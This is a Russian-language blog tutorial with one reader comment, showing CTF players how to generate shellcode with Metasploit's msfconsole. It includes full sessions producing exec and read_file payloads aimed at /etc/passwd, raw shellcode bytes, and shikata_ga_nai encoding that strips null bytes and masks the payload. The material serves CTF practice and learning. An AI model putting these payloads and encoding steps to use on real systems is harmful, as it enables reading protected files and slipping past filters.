shellcode на любой вкус и цвет.

Metasploit Framework спешит на помощь.

Все мы знаем что в этом прекрасном инструменте есть не только набор эксплоитов (которые зачастую нам в соревнованиях не нужны), но и отличная библиотека payload’ов (далее буду их называть шеллкоды). Они то нам и могут пригодится на соревнованиях, более того, назовите хоть одни соревнования, где бы не было бинарного сервиса в категории pwn или exploiting.

ПОСМОТРИМ СПИСОК ДОСТУПНЫХ ШЕЛЛКОДОВ:

устанавливаем Metasploit Framework (если он ещё не установлен) и запускаем msfconsole

  1. msf > show payloads
  2. Payloads
  3. ========
  4.    Name                                             Disclosure Date  Rank    Description
  5.    —-                                             —————  —-    ————
  6. bsd/x86/shell/reverse_tcp                                         normal  BSD Command Shell
  7. java/meterpreter/reverse_tcp                                      normal  Java Java Reverse TCP
  8. linux/x86/read_file                                               normal  Linux Read File
  9. php/exec                                                          normal  PHP Execute Comman
  10. linux/x64/exec                                                    normal  Linux Execute Command

и это только малая часть… прошу обратить внимание что под все архитектуры и все платформы есть exec шеллкод, то есть мы можем выполнить любой bash скрипт.

СГЕНЕРИРУЕМ ШЕЛЛКОД ПОД АРХИТЕКТУРУ x86:

  1. msf > use linux/x86/exec                                        #Выбираем шеллкод, который будем юзать
  2. msf payload(exec) > show options                       #Посмотрим какие у него опции
  3. Module options (payload/linux/x86/exec):
  4.    Name  Current Setting  Required  Description
  5.    —-  —————  ———  ————
  6.    CMD                    yes       The command string to execute
  7. msf payload(exec) > set CMD «cat /etc/passwd | head -n 1» #Заполним поле CMD своей bash командой
  8. CMD => cat /etc/passwd | head -n 1
  9. msf payload(exec) > generate -t elf -f shell      #Используем generate -h
  10. [*] Writing 147 bytes to shell…
  11. msf payload(exec) > exit                                   #Ясно понятно
  12. root@kali:/home/riocool/temp# chmod +x shell
  13. root@kali:/home/riocool/temp# ./shell            #Профит!
  14. root:x:0:0:root:/root:/bin/bash
  15. root@kali:/home/riocool/temp#

ЗАШИФРУЕМ ШЕЛЛКОД:

Часто возникает ситуация, когда нельзя, что бы шеллкод содержал нулевые байты.

  1. msf > use linux/x86/read_file
  2. msf payload(read_file) > show options
  3. Module options (payload/linux/x86/read_file):
  4.    Name  Current Setting  Required  Description
  5.    —-  —————  ———  ————
  6.    FD    1                yes       The file descriptor to write output to
  7.    PATH                   yes       The file path to read
  8. msf payload(read_file) > set PATH ‘/etc/passwd’
  9. PATH => /etc/passwd
  10. msf payload(read_file) > generate
  11. # linux/x86/read_file — 73 bytes
  12. buf =
  13. «\xeb\x36\xb8\x05\x00\x00\x00\x5b\x31\xc9\xcd\x80\x89\xc3″ +
  14. «\xb8\x03\x00\x00\x00\x89\xe7\x89\xf9\xba\x00\x10\x00\x00» +
  15. «\xcd\x80\x89\xc2\xb8\x04\x00\x00\x00\xbb\x01\x00\x00\x00» +
  16. «\xcd\x80\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80″ +
  17. «\xe8\xc5\xff\xff\xff\x2f\x65\x74\x63\x2f\x70\x61\x73\x73» +
  18. «\x77\x64\x00«
  19. msf payload(read_file) > generate -e x86/shikata_ga_nai  #Все доступные методы шифрования можно посмотреть тут: /usr/share/metasploit-framework/modules/encoders/x86 или так: find / -name shikata_ga_nai*
  20. # linux/x86/read_file — 100 bytes
  21. buf =
  22. «\xb8\xbe\x63\xa1\x72\xd9\xce\xd9\x74\x24\xf4\x5e\x33\xc9» +
  23. «\xb1\x13\x31\x46\x13\x83\xc6\x04\x03\x46\xb1\x81\x54\x99» +
  24. «\xfb\xfd\x92\x5e\x03\xfe\xc7\x6f\xca\x33\x77\x06\x0f\x73» +
  25. «\x7b\x19\x8f\x84\xf5\xfe\x06\x7d\xbf\x01\x08\x7e\xc0\xcc» +
  26. «\xa8\xf7\x02\x76\xac\x07\x83\x87\x17\x06\x83\x87\x67\xc4» +
  27. «\x03\x3f\x66\xd6\x03\x40\xd3\xd6\x03\x40\x23\x1a\x83\xa8» +
  28. «\xe6\x5b\x7b\xd7\xc7\xc6\xf0\x4b\x38\x79\x98\xf8\x35\x0e» +
  29. «\x3e\xff»
  30. msf payload(read_file) > generate -e x86/shikata_ga_nai -t elf -f shell_read_file
  31. [*] Writing 184 bytes to shell_read_file…
  32. msf payload(read_file) > exit
  33. root@kali:/home/riocool/temp# chmod +x shell_read_file
  34. root@kali:/home/riocool/temp# ./shell_read_file
  35. root:x:0:0:root:/root:/bin/bash
  36. daemon:x:1:1:daemon:/usr/sbin:/bin/sh……..

 

1 Comment

 Add your comment
  1. Полезная информация 🙂 (по крайней мере для меня). Конечно, шеллкоды под различные архитектуры и без null-байтов без проблем можно найти на таких сайтах, как shell-storm.org или exploit-db.com (хотя на Gits CTF нужный мне шеллкод я так и не нашел — пришлось писать самому).
    А вот фишка с шифрованием — прикольно, я даже припоминаю задания с фильтрацией шеллкода.
    Вот только путь к encoders на Backtrack’е у меня другой…

Leave a Comment

Your email address will not be published.

Лимит времени истёк. Пожалуйста, перезагрузите CAPTCHA.